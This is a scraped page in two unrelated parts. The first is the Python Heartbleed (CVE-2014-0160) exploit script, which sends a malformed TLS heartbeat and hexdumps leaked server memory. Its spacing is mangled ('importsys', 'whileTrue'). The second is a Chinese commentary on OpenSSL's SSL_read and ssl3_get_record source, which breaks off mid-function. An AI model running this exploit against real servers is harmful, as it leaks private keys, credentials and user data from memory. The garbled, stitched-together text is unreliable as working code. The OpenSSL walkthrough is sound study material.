OpenSSL TLS Heartbeat Extension - Memory Disclosure(exploit)--CVE: 2014-0160

#!/usr/bin/python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
 
importsys
importstruct
importsocket
importtime
importselect
importre
fromoptparse importOptionParser
 
options=OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p','--port',type='int', default=443,help='TCP port to test (default: 443)')
 
defh2bin(x):
    returnx.replace(' ', '').replace('\n', '').decode('hex')
 
hello=h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
 
hb=h2bin('''
18 03 02 00 03
01 40 00
''')
 
defhexdump(s):
    forb inxrange(0,len(s),16):
        lin=[c forc ins[b : b +16]]
        hxdat=' '.join('%02X'% ord(c)forc inlin)
        pdat=''.join((c if 32 <= ord(c) <= 126 else '.' )forc inlin)
        print'  %04x: %-48s %s' % (b, hxdat, pdat)
    print
 
defrecvall(s, length, timeout=5):
    endtime=time.time() +timeout
    rdata=''
    remain=length
    whileremain > 0:
        rtime=endtime -time.time() 
        ifrtime < 0:
            returnNone
        r, w, e =select.select([s], [], [], 5)
        ifs inr:
            data=s.recv(remain)
            # EOF?
            ifnot data:
                returnNone
            rdata+=data
            remain-=len(data)
    returnrdata
         
 
defrecvmsg(s):
    hdr=recvall(s, 5)
    ifhdr isNone:
        print'Unexpected EOF receiving record header - server closed connection'
        returnNone,None,None
    typ, ver, ln =struct.unpack('>BHH', hdr)
    pay=recvall(s, ln, 10)
    ifpay isNone:
        print'Unexpected EOF receiving record payload - server closed connection'
        returnNone,None,None
    print' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    returntyp, ver, pay
 
defhit_hb(s):
    s.send(hb)
    whileTrue:
        typ, ver, pay =recvmsg(s)
        iftyp isNone:
            print'No heartbeat response received, server likely not vulnerable'
            returnFalse
 
        iftyp ==24:
            print'Received heartbeat response:'
            hexdump(pay)
            iflen(pay) > 3:
                print'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print'Server processed malformed heartbeat, but did not return any extra data.'
            returnTrue
 
        iftyp ==21:
            print'Received alert:'
            hexdump(pay)
            print'Server returned error, likely not vulnerable'
            returnFalse
 
defmain():
    opts, args =options.parse_args()
    iflen(args) < 1:
        options.print_help()
        return
 
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print'Waiting for Server Hello...'
    sys.stdout.flush()
    whileTrue:
        typ, ver, pay =recvmsg(s)
        iftyp ==None:
            print'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        iftyp ==22 and ord(pay[0])==0x0E:
            break
 
    print'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if__name__ =='__main__':
    main()



SSL連接建立過程分析(5)

本文檔的Copyleft歸yfydz所有,使用GPL發佈,可以自由拷貝,轉載,轉載時請保持文檔的完整性,嚴禁用於任何商業用途。

2.14 SSL_read

SSL結構(struct ssl_st)中的s2,s3指針分別指向SSL2和SSL3的狀態結構,這些狀態結構中都有用於讀的rbuf,其中保存SSL會話接收到的原始數據,另外還有保存記錄的rrec,用來保存解碼後的數據。在SSL結構中有個指針packet是指向原始數據的。

SSL_read()實現從SSL通道中讀取數據,送到應用程序的數據是已經經過SSL解封裝的了。

/* ssl/ssl_lib.c */
int SSL_read(SSL *s,void *buf,int num)
 {
 if (s->handshake_func == 0)
  {
  SSLerr(SSL_F_SSL_READ, SSL_R_UNINITIALIZED);
  return -1;
  }
// 發現接收shutdown標誌,接收結束
 if (s->shutdown & SSL_RECEIVED_SHUTDOWN)
  {
  s->rwstate=SSL_NOTHING;
  return(0);
  }
// 調用具體方法的接收函數, 如ssl3_read(), ssl2_read()等
 return(s->method->ssl_read(s,buf,num));
 }

下面以ssl3_read()函數進行詳細說明,ssl3_read()函數本質是調用ssl3_read_internal()
/* ssl/s3_lib.c */
int ssl3_read(SSL *s, void *buf, int len)
 {
// 最後一個參數爲0,表示是實實在在的讀數據,不是偷看(peek)
// peek的意思是讀數據,但不會把已讀數據從緩衝區中去掉,因此下一次讀還會讀到
 return ssl3_read_internal(s, buf, len, 0);
 }

static int ssl3_read_internal(SSL *s, void *buf, int len, int peek)
 {
 int ret;
// 清除錯誤信息 
 clear_sys_error();
// 檢查協商是否成功
 if (s->s3->renegotiate) ssl3_renegotiate_check(s);
// 標誌現在在讀應用層數據
 s->s3->in_read_app_data=1;
// ssl3讀取數據, 類型是SSL3_RT_APPLICATION_DATA,應用數據
 ret=ssl3_read_bytes(s,SSL3_RT_APPLICATION_DATA,buf,len,peek);
 if ((ret == -1) && (s->s3->in_read_app_data == 2))
  {
// s->s3->in_read_app_data == 2表示要讀協商數據
  /* ssl3_read_bytes decided to call s->handshake_func, which
   * called ssl3_read_bytes to read handshake data.
   * However, ssl3_read_bytes actually found application data
   * and thinks that application data makes sense here; so disable
   * handshake processing and try to read application data again. */
  s->in_handshake++;
// 重新讀數據
  ret=ssl3_read_bytes(s,SSL3_RT_APPLICATION_DATA,buf,len,peek);
  s->in_handshake--;
  }
 else
  s->s3->in_read_app_data=0;
 return(ret);
 }

讀取數據的主要函數實際爲ssl3_read_bytes():
/* ssl/ssl3_pkt.c */
int ssl3_read_bytes(SSL *s, int type, unsigned char *buf, int len, int peek)
 {
 int al,i,j,ret;
 unsigned int n;
 SSL3_RECORD *rr;
 void (*cb)(const SSL *ssl,int type2,int val)=NULL;
// 檢查是否分配了接收緩衝區
 if (s->s3->rbuf.buf == NULL) /* Not initialized yet */
  if (!ssl3_setup_buffers(s))
   return(-1);
// 只處理兩種數據,或是應用層數據或者是SSL握手協商數據,
// peek只處理應用層數據,其他則出錯
 if ((type && (type != SSL3_RT_APPLICATION_DATA) && 
     (type != SSL3_RT_HANDSHAKE) && type) ||
     (peek && (type != SSL3_RT_APPLICATION_DATA)))
  {
  SSLerr(SSL_F_SSL3_READ_BYTES, ERR_R_INTERNAL_ERROR);
  return -1;
  }
 if ((type == SSL3_RT_HANDSHAKE) && (s->s3->handshake_fragment_len > 0))
  /* (partially) satisfy request from storage */
  {
// 握手數據碎片, 處理完直到不再是碎片
  unsigned char *src = s->s3->handshake_fragment;
  unsigned char *dst = buf;
  unsigned int k;
  /* peek == 0 */
  n = 0;
  while ((len > 0) && (s->s3->handshake_fragment_len > 0))
   {
   *dst++ = *src++;
   len--; s->s3->handshake_fragment_len--;
   n++;
   }
  /* move any remaining fragment bytes: */
  for (k = 0; k < s->s3->handshake_fragment_len; k++)
   s->s3->handshake_fragment[k] = *src++;
  return n;
 }
 /* Now s->s3->handshake_fragment_len == 0 if type == SSL3_RT_HANDSHAKE. */
 if (!s->in_handshake && SSL_in_init(s))
  {
// 沒進握手階段但屬於SSL初始化階段, 調用SSL握手處理
  /* type == SSL3_RT_APPLICATION_DATA */
  i=s->handshake_func(s);
  if (i < 0) return(i);
  if (i == 0)
   {
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);
   return(-1);
   }
  }
start:
// 正常的接收數據開始, 開始讀寫狀態爲NOTHING
 s->rwstate=SSL_NOTHING;
 /* s->s3->rrec.type     - is the type of record
  * s->s3->rrec.data,    - data
  * s->s3->rrec.off,     - offset into 'data' for next read
  * s->s3->rrec.length,  - number of bytes. */
// 記錄類型指針
 rr = &(s->s3->rrec);
 /* get new packet if necessary */
 if ((rr->length == 0) || (s->rstate == SSL_ST_READ_BODY))
  {
// 當前沒記錄,獲取新的記錄信息, 該函數獲取SSL記錄數據
  ret=ssl3_get_record(s);
  if (ret <= 0) return(ret);
  }
 /* we now have a packet which can be read and processed */
 if (s->s3->change_cipher_spec /* set when we receive ChangeCipherSpec,
                                * reset by ssl3_get_finished */
  && (rr->type != SSL3_RT_HANDSHAKE))
  {
// 只允許在握手狀態下修改當前的算法信息,否則出錯
  al=SSL_AD_UNEXPECTED_MESSAGE;
  SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_DATA_BETWEEN_CCS_AND_FINISHED);
  goto err;
  }
 /* If the other end has shut down, throw anything we read away
  * (even in 'peek' mode) */
 if (s->shutdown & SSL_RECEIVED_SHUTDOWN)
  {
// 接收到對方的FIN信息, 接收結束
  rr->length=0;
  s->rwstate=SSL_NOTHING;
  return(0);
  }

 if (type == rr->type) /* SSL3_RT_APPLICATION_DATA or SSL3_RT_HANDSHAKE */
  {
// 讀到是數據類型和期待讀到的數據類型一致
// 這是正常大多數的情況
  /* make sure that we are not getting application data when we
   * are doing a handshake for the first time */
  if (SSL_in_init(s) && (type == SSL3_RT_APPLICATION_DATA) &&
   (s->enc_read_ctx == NULL))
   {
// 在初始階段只應該讀握手信息而不該讀應用信息
   al=SSL_AD_UNEXPECTED_MESSAGE;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_APP_DATA_IN_HANDSHAKE);
   goto f_err;
   }
  if (len <= 0) return(len);
// 在期待讀取的數據長度len和已經讀到的數據記錄長度rr->length取小值作爲返回的數據長度
  if ((unsigned int)len > rr->length)
   n = rr->length;
  else
   n = (unsigned int)len;
  memcpy(buf,&(rr->data[rr->off]),n);
  if (!peek)
   {
// 如果不是peek,移動記錄緩衝的數據偏移指針,長度減
   rr->length-=n;
   rr->off+=n;
   if (rr->length == 0)
    {
    s->rstate=SSL_ST_READ_HEADER;
    rr->off=0;
    }
   }
// 正常返回
  return(n);
  }

 /* If we get here, then type != rr->type; if we have a handshake
  * message, then it was unexpected (Hello Request or Client Hello). */
 /* In case of record types for which we have 'fragment' storage,
  * fill that so that we can process the data at a fixed place.
  */
// 現在情況是讀取的數據類型和期待讀取的數據類型不一致
// 已經讀到的數據不丟棄,而是作爲碎片存儲起來以後備用
  {
  unsigned int dest_maxlen = 0;
  unsigned char *dest = NULL;
  unsigned int *dest_len = NULL;
  if (rr->type == SSL3_RT_HANDSHAKE)
   {
// 握手類型數據存到握手碎片區
   dest_maxlen = sizeof s->s3->handshake_fragment;
   dest = s->s3->handshake_fragment;
   dest_len = &s->s3->handshake_fragment_len;
   }
  else if (rr->type == SSL3_RT_ALERT)
   {
// 告警信息存到告警碎片區
   dest_maxlen = sizeof s->s3->alert_fragment;
   dest = s->s3->alert_fragment;
   dest_len = &s->s3->alert_fragment_len;
   }
  if (dest_maxlen > 0)
   {
// 有緩衝區, 計算可用的最大緩衝區
   n = dest_maxlen - *dest_len; /* available space in 'dest' */
// 如果要寫入的長度小於可用空間大小,可全部寫入
   if (rr->length < n)
    n = rr->length; /* available bytes */
// 寫入緩衝區
   /* now move 'n' bytes: */
   while (n-- > 0)
    {
    dest[(*dest_len)++] = rr->data[rr->off++];
    rr->length--;
    }
   if (*dest_len < dest_maxlen)
    goto start; /* fragment was too small */
   }
  }
 /* s->s3->handshake_fragment_len == 4  iff  rr->type == SSL3_RT_HANDSHAKE;
  * s->s3->alert_fragment_len == 2      iff  rr->type == SSL3_RT_ALERT.
  * (Possibly rr is 'empty' now, i.e. rr->length may be 0.) */
 /* If we are a client, check for an incoming 'Hello Request': */
 if ((!s->server) &&
  (s->s3->handshake_fragment_len >= 4) &&
  (s->s3->handshake_fragment[0] == SSL3_MT_HELLO_REQUEST) &&
  (s->session != NULL) && (s->session->cipher != NULL))
  {
// 本地是客戶端
// 握手碎片長度至少是4字節, 類型是HELLO的握手信息時進行處理
  s->s3->handshake_fragment_len = 0;
  if ((s->s3->handshake_fragment[1] != 0) ||
   (s->s3->handshake_fragment[2] != 0) ||
   (s->s3->handshake_fragment[3] != 0))
   {
// SSL3_MT_HELLO_REQUEST類型後三個字節都要是0
   al=SSL_AD_DECODE_ERROR;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_BAD_HELLO_REQUEST);
   goto err;
   }
  if (s->msg_callback)
   s->msg_callback(0, s->version, SSL3_RT_HANDSHAKE, s->s3->handshake_fragment, 4, s, s->msg_callback_arg);
  if (SSL_is_init_finished(s) &&
// 協商結束但沒設置不需重協商算法標誌
   !(s->s3->flags & SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS) &&
// 沒設置該ssl3會話的重協商標誌
   !s->s3->renegotiate)
   {
// 進行ssl3重協商,實際是將s->s3->renegotiate置1
   ssl3_renegotiate(s);
   if (ssl3_renegotiate_check(s))
    {
// 進行重協商
    i=s->handshake_func(s);
    if (i < 0) return(i);
    if (i == 0)
     {
     SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);
     return(-1);
     }
    if (!(s->mode & SSL_MODE_AUTO_RETRY))
// 該SSL會話不是自動重試模式
     {
     if (s->s3->rbuf.left == 0) /* no read-ahead left? */
      {
      BIO *bio;
  /* In the case where we try to read application data,
   * but we trigger an SSL handshake, we return -1 with
   * the retry option set.  Otherwise renegotiation may
   * cause nasty problems in the blocking world */
      s->rwstate=SSL_READING;
      bio=SSL_get_rbio(s);
// 清除讀BIO重試標誌
      BIO_clear_retry_flags(bio);
// 設置讀BIO重試標誌
      BIO_set_retry_read(bio);
      return(-1);
      }
     }
    }
   }
 /* we either finished a handshake or ignored the request,
  * now try again to obtain the (application) data we were asked for */
// 重新讀數據
  goto start;
  }
 if (s->s3->alert_fragment_len >= 2)
  {
// 處理告警碎片信息, 長度大於等於2字節時就處理
  int alert_level = s->s3->alert_fragment[0];
  int alert_descr = s->s3->alert_fragment[1];
  s->s3->alert_fragment_len = 0;
// 分別處理msg和info的回調
  if (s->msg_callback)
   s->msg_callback(0, s->version, SSL3_RT_ALERT, s->s3->alert_fragment, 2, s, s->msg_callback_arg);
  if (s->info_callback != NULL)
   cb=s->info_callback;
  else if (s->ctx->info_callback != NULL)
   cb=s->ctx->info_callback;
  if (cb != NULL)
   {
   j = (alert_level << 8) | alert_descr;
   cb(s, SSL_CB_READ_ALERT, j);
   }
  if (alert_level == 1) /* warning */
   {
// 普通報警信息
   s->s3->warn_alert = alert_descr;
   if (alert_descr == SSL_AD_CLOSE_NOTIFY)
    {
    s->shutdown |= SSL_RECEIVED_SHUTDOWN;
    return(0);
    }
   }
  else if (alert_level == 2) /* fatal */
   {
// 嚴重錯誤信息, 斷開SSL會話
   char tmp[16];
   s->rwstate=SSL_NOTHING;
   s->s3->fatal_alert = alert_descr;
   SSLerr(SSL_F_SSL3_READ_BYTES, SSL_AD_REASON_OFFSET + alert_descr);
   BIO_snprintf(tmp,sizeof tmp,"%d",alert_descr);
   ERR_add_error_data(2,"SSL alert number ",tmp);
   s->shutdown|=SSL_RECEIVED_SHUTDOWN;
   SSL_CTX_remove_session(s->ctx,s->session);
   return(0);
   }
  else
   {
   al=SSL_AD_ILLEGAL_PARAMETER;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNKNOWN_ALERT_TYPE);
   goto f_err;
   }
  goto start;
  }
 if (s->shutdown & SSL_SENT_SHUTDOWN) /* but we have not received a shutdown */
  {
// SSL會話設置發送SHUTDOWN, 表示不再發送數據
  s->rwstate=SSL_NOTHING;
  rr->length=0;
  return(0);
  }
 if (rr->type == SSL3_RT_CHANGE_CIPHER_SPEC)
  {
// 數據記錄類型是更改算法參數
  /* 'Change Cipher Spec' is just a single byte, so we know
   * exactly what the record payload has to look like */
  if ( (rr->length != 1) || (rr->off != 0) ||
   (rr->data[0] != SSL3_MT_CCS))
   {
// 錯誤檢查
   i=SSL_AD_ILLEGAL_PARAMETER;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_BAD_CHANGE_CIPHER_SPEC);
   goto err;
   }
  rr->length=0;
  if (s->msg_callback)
   s->msg_callback(0, s->version, SSL3_RT_CHANGE_CIPHER_SPEC, rr->data, 1, s, s->msg_callback_arg);
// 加密算法更改處理,成功時轉到重新接收數據
  s->s3->change_cipher_spec=1;
  if (!do_change_cipher_spec(s))
   goto err;
  else
   goto start;
  }
 /* Unexpected handshake message (Client Hello, or protocol violation) */
 if ((s->s3->handshake_fragment_len >= 4) && !s->in_handshake)
  {
// 異常的握手信息
// SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS標誌表示不需要重新協商加密算法
  if (((s->state&SSL_ST_MASK) == SSL_ST_OK) &&
   !(s->s3->flags & SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS))
   {
#if 0 /* worked only because C operator preferences are not as expected (and
       * because this is not really needed for clients except for detecting
       * protocol violations): */
   s->state=SSL_ST_BEFORE|(s->server)
    ?SSL_ST_ACCEPT
    :SSL_ST_CONNECT;
#else
// 如果是服務器端,SSL狀態轉爲接受;如果是客戶端, 轉爲連接
   s->state = s->server ? SSL_ST_ACCEPT : SSL_ST_CONNECT;
#endif
// 重新進行新會話
   s->new_session=1;
   }
// 重新握手協商
  i=s->handshake_func(s);
  if (i < 0) return(i);
  if (i == 0)
   {
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);
   return(-1);
   }
  if (!(s->mode & SSL_MODE_AUTO_RETRY))
   {
   if (s->s3->rbuf.left == 0) /* no read-ahead left? */
    {
    BIO *bio;
    /* In the case where we try to read application data,
     * but we trigger an SSL handshake, we return -1 with
     * the retry option set.  Otherwise renegotiation may
     * cause nasty problems in the blocking world */
    s->rwstate=SSL_READING;
    bio=SSL_get_rbio(s);
    BIO_clear_retry_flags(bio);
    BIO_set_retry_read(bio);
    return(-1);
    }
   }
  goto start;
  }
// 最後再根據記錄類型進行處理
 switch (rr->type)
  {
 default:
#ifndef OPENSSL_NO_TLS
  /* TLS just ignores unknown message types */
// 如果會話是TLS1版本轉爲重新接收數據
// 其他版本則認爲出錯
  if (s->version == TLS1_VERSION)
   {
   rr->length = 0;
   goto start;
   }
#endif
  al=SSL_AD_UNEXPECTED_MESSAGE;
  SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNEXPECTED_RECORD);
  goto f_err;
 case SSL3_RT_CHANGE_CIPHER_SPEC:
 case SSL3_RT_ALERT:
 case SSL3_RT_HANDSHAKE:
// 這幾種類型前面已經處理過了, 到這還有的話是哪出錯了
  /* we already handled all of these, with the possible exception
   * of SSL3_RT_HANDSHAKE when s->in_handshake is set, but that
   * should not happen when type != rr->type */
  al=SSL_AD_UNEXPECTED_MESSAGE;
  SSLerr(SSL_F_SSL3_READ_BYTES,ERR_R_INTERNAL_ERROR);
  goto f_err;
  case SSL3_RT_APPLICATION_DATA:
// 這時情況是收到的是應用數據,而期望接收的是握手數據
  /* At this point, we were expecting handshake data,
   * but have application data.  If the library was
   * running inside ssl3_read() (i.e. in_read_app_data
   * is set) and it makes sense to read application data
   * at this point (session renegotiation not yet started),
   * we will indulge it.
   */
// 要接收應用數據
  if (s->s3->in_read_app_data &&
// 需要重協商
   (s->s3->total_renegotiations != 0) &&
   ((
    (s->state & SSL_ST_CONNECT) &&
    (s->state >= SSL3_ST_CW_CLNT_HELLO_A) &&
    (s->state <= SSL3_ST_CR_SRVR_HELLO_A)
    ) || (
     (s->state & SSL_ST_ACCEPT) &&
     (s->state <= SSL3_ST_SW_HELLO_REQ_A) &&
     (s->state >= SSL3_ST_SR_CLNT_HELLO_A)
     )
    ))
   {
// in_read_app_data設置爲2,會重新執行ssl3_read_bytes()
   s->s3->in_read_app_data=2;
   return(-1);
   }
  else
   {
   al=SSL_AD_UNEXPECTED_MESSAGE;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNEXPECTED_RECORD);
   goto f_err;
   }
  }
 /* not reached */
f_err:
// 錯誤時發送告警信息
 ssl3_send_alert(s,SSL3_AL_FATAL,al);
err:
 return(-1);
 }

可以看出接收數據的重點函數是ssl3_get_record():
/* ssl/s3_pkt.c */
static int ssl3_get_record(SSL *s)
 {
 int ssl_major,ssl_minor,al;
 int enc_err,n,i,ret= -1;
 SSL3_RECORD *rr;
 SSL_SESSION *sess;
 unsigned char *p;
 unsigned char md[EVP_MAX_MD_SIZE];
 short version;
 unsigned int mac_size;
 int clear=0;
 size_t extra;
 int decryption_failed_or_bad_record_mac = 0;
 unsigned char *mac = NULL;
// 所讀數據的記錄指針
 rr= &(s->s3->rrec);
 sess=s->session;
 if (s->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
// MS的SSL實現可附帶較大數據
  extra=SSL3_RT_MAX_EXTRA;
 else
  extra=0;
 if (extra != s->s3->rbuf.len - SSL3_RT_MAX_PACKET_SIZE)
// 普通情況下讀緩衝大小就是SSL3_RT_MAX_PACKET_SIZE
  {
/* actually likely an application error: SLS_OP_MICROSOFT_BIG_SSLV3_BUFFER
 * set after ssl3_setup_buffers() was done */
  SSLerr(SSL_F_SSL3_GET_RECORD, ERR_R_INTERNAL_ERROR);
  return -1;
  }
again:
 /* check if we have the header */
 if ( (s->rstate != SSL_ST_READ_BODY) ||
// 接收的數據長度還不夠記錄長度
  (s->packet_length < SSL3_RT_HEADER_LENGTH)) 
  {
// 讀至少SSL3_RT_HEADER_LENGTH長度,最大s->s3->rbuf.len 
  n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
  if (n <= 0) return(n); /* error or non-blocking */
  s->rstate=SSL_ST_READ_BODY;
// p現在是SSL收到的原始數據頭
  p=s->packet;
  /* Pull apart the header into the SSL3_RECORD */
// SSL記錄類型
  rr->type= *(p++);
// 版本信息
  ssl_major= *(p++);
  ssl_minor= *(p++);
  version=(ssl_major<<8)|ssl_minor;
// 數據長度
  n2s(p,rr->length);
  /* Lets check version */
  if (s->first_packet)
   {
   s->first_packet=0;
   }
  else
   {
// 已經不是第一個包了
// 檢查版本是否等於SSL會話版本,這時應該協商好應該是相同的了
// 如果不同就是錯的
   if (version != s->version)
    {
    SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);
    /* Send back error using their
     * version number :-) */
    s->version=version;
    al=SSL_AD_PROTOCOL_VERSION;
    goto f_err;
    }
   }
// 檢查版本是否是SSL3
  if ((version>>8) != SSL3_VERSION_MAJOR)
   {
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);
   goto err;
   }
// 接收數據過長出錯
  if (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH+extra)
   {
   al=SSL_AD_RECORD_OVERFLOW;
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_PACKET_LENGTH_TOO_LONG);
   goto f_err;
   }
  /* now s->rstate == SSL_ST_READ_BODY */
  }
 /* s->rstate == SSL_ST_READ_BODY, get and decode the data */
// SSL3_RT_HEADER_LENGTH = 5
 if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH)
  {
// 已收到的數據還不夠記錄長度, 繼續讀夠記錄長度
  /* now s->packet_length == SSL3_RT_HEADER_LENGTH */
  i=rr->length;
  n=ssl3_read_n(s,i,i,1);
  if (n <= 0) return(n); /* error or non-blocking io */
  /* now n == rr->length,
   * and s->packet_length == SSL3_RT_HEADER_LENGTH + rr->length */
  }
//
// 狀態轉爲已經接收到SSL頭信息
 s->rstate=SSL_ST_READ_HEADER; /* set state for later operations */
 /* At this point, s->packet_length == SSL3_RT_HEADER_LNGTH + rr->length,
  * and we have that many bytes in s->packet
  */
// input指向SSL原始數據頭後的數據
 rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
 /* ok, we can now read from 's->packet' data into 'rr'
  * rr->input points at rr->length bytes, which
  * need to be copied into rr->data by either
  * the decryption or by the decompression
  * When the data is 'copied' into the rr->data buffer,
  * rr->input will be pointed at the new buffer */
 /* We now have - encrypted [ MAC [ compressed [ plain ] ] ]
  * rr->length bytes of encrypted compressed stuff. */
 /* check is not needed I believe */
 if (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH+extra)
  {
// 數據又讀多了
  al=SSL_AD_RECORD_OVERFLOW;
  SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_ENCRYPTED_LENGTH_TOO_LONG);
  goto f_err;
  }
 /* decrypt in place in 'rr->input' */
// 記錄數據
 rr->data=rr->input;
// 對數據進行解密
 enc_err = s->method->ssl3_enc->enc(s,0);
 if (enc_err <= 0)
  {
  if (enc_err == 0)
   /* SSLerr() and ssl3_send_alert() have been called */
   goto err;
  /* Otherwise enc_err == -1, which indicates bad padding
   * (rec->length has not been changed in this case).
   * To minimize information leaked via timing, we will perform
   * the MAC computation anyway. */
// 注意 enc_err<0 時並不立即轉到錯誤處理,只是作個標誌
  decryption_failed_or_bad_record_mac = 1;
  }

 /* r->length is now the compressed data plus mac */
 if ( (sess == NULL) ||
  (s->enc_read_ctx == NULL) ||
  (s->read_hash == NULL))
// 會話,加密上下文,讀認證碼操作都爲空的情況,設置標誌clear
  clear=1;
 if (!clear)
  {
// HASH算法的認證碼長度
  mac_size=EVP_MD_size(s->read_hash);
  if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
   {
#if 0 /* OK only for stream ciphers (then rr->length is visible from ciphertext anyway) */
   al=SSL_AD_RECORD_OVERFLOW;
   SSLerr(SSL_F_SSL3_GET_RECORD,
    SSL_R_PRE_MAC_LENGTH_TOO_LONG);
   goto f_err;
#else
// 長度過長, 設置出錯標誌
   decryption_failed_or_bad_record_mac = 1;
#endif   
   }
  /* check the MAC for rr->input (it's in mac_size bytes at the tail) */
  if (rr->length >= mac_size)
   {
// 記錄長度中減去認證碼長度
   rr->length -= mac_size;
// 認證碼數據指針
   mac = &rr->data[rr->length];
   }
  else
   {
   /* record (minus padding) is too short to contain a MAC */
#if 0 /* OK only for stream ciphers */
   al=SSL_AD_DECODE_ERROR;
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
   goto f_err;
#else
// 記錄長度還沒認證碼長度長, 設置出錯標誌
   decryption_failed_or_bad_record_mac = 1;
   rr->length = 0;
#endif
   }
// 用認證碼對數據進行認證
  i=s->method->ssl3_enc->mac(s,md,0);
  if (mac == NULL || memcmp(md, mac, mac_size) != 0)
   {
   decryption_failed_or_bad_record_mac = 1;
   }
  }
 if (decryption_failed_or_bad_record_mac)
  {
// 解密錯誤, 跳出
  /* A separate 'decryption_failed' alert was introduced with TLS 1.0,
   * SSL 3.0 only has 'bad_record_mac'.  But unless a decryption
   * failure is directly visible from the ciphertext anyway,
   * we should not reveal which kind of error occured -- this
   * might become visible to an attacker (e.g. via a logfile) */
  al=SSL_AD_BAD_RECORD_MAC;
  SSLerr(SSL_F_SSL3_GET_RECORD, 
   SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
  goto f_err;
  }
 /* r->length is now just compressed */
 if (s->expand != NULL)
// 現在數據是經過壓縮處理的
  {
  if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra)
   {
// 壓縮數據長度又太長了
   al=SSL_AD_RECORD_OVERFLOW;
   SSLerr(SSL_F_SSL3_GET_RECORD,
    SSL_R_COMPRESSED_LENGTH_TOO_LONG);
   goto f_err;
   }
// 對數據解壓
  if (!do_uncompress(s))
   {
// 解壓失敗, 跳出
   al=SSL_AD_DECOMPRESSION_FAILURE;
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
   goto f_err;
   }
  }
 if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra)
  {
// 解壓縮後的明文數據長度過長, 跳出
  al=SSL_AD_RECORD_OVERFLOW;
  SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
  goto f_err;
  }
 rr->off=0;
 /* So at this point the following is true
  * ssl->s3->rrec.type  is the type of record
  * ssl->s3->rrec.length == number of bytes in record
  * ssl->s3->rrec.off == offset to first valid byte
  * ssl->s3->rrec.data == where to take bytes from, increment
  *      after use :-).
  */
 /* we have pulled in a full packet so zero things */
 s->packet_length=0;
 /* just read a 0 length packet */
// 如果記錄長度爲0, 轉到繼續接收數據
 if (rr->length == 0) goto again;
 return(1);
f_err:
// 錯誤發送告警信息
 ssl3_send_alert(s,SSL3_AL_FATAL,al);
err:
 return(ret);
 }

最後看一下ssl3_read_n()函數,接收SSL原始數據, 該函數只被ssl3_get_record()函數調用,是static的:
/* ssl/s3_pkt.c */
static int ssl3_read_n(SSL *s, int n, int max, int extend)
 {
// extend爲0時表示要讀全新數據,非0表示可以用現在緩衝中的數據
 /* If extend == 0, obtain new n-byte packet; if extend == 1, increase
  * packet by another n bytes.
  * The packet will be in the sub-array of s->s3->rbuf.buf specified
  * by s->packet and s->packet_length.
  * (If s->read_ahead is set, 'max' bytes may be stored in rbuf
  * [plus s->packet_length bytes if extend == 1].)
  */
 int i,off,newb;
 if (!extend)
  {
  /* start with empty packet ... */
// 確定包緩衝地址, 置當前的包長爲0
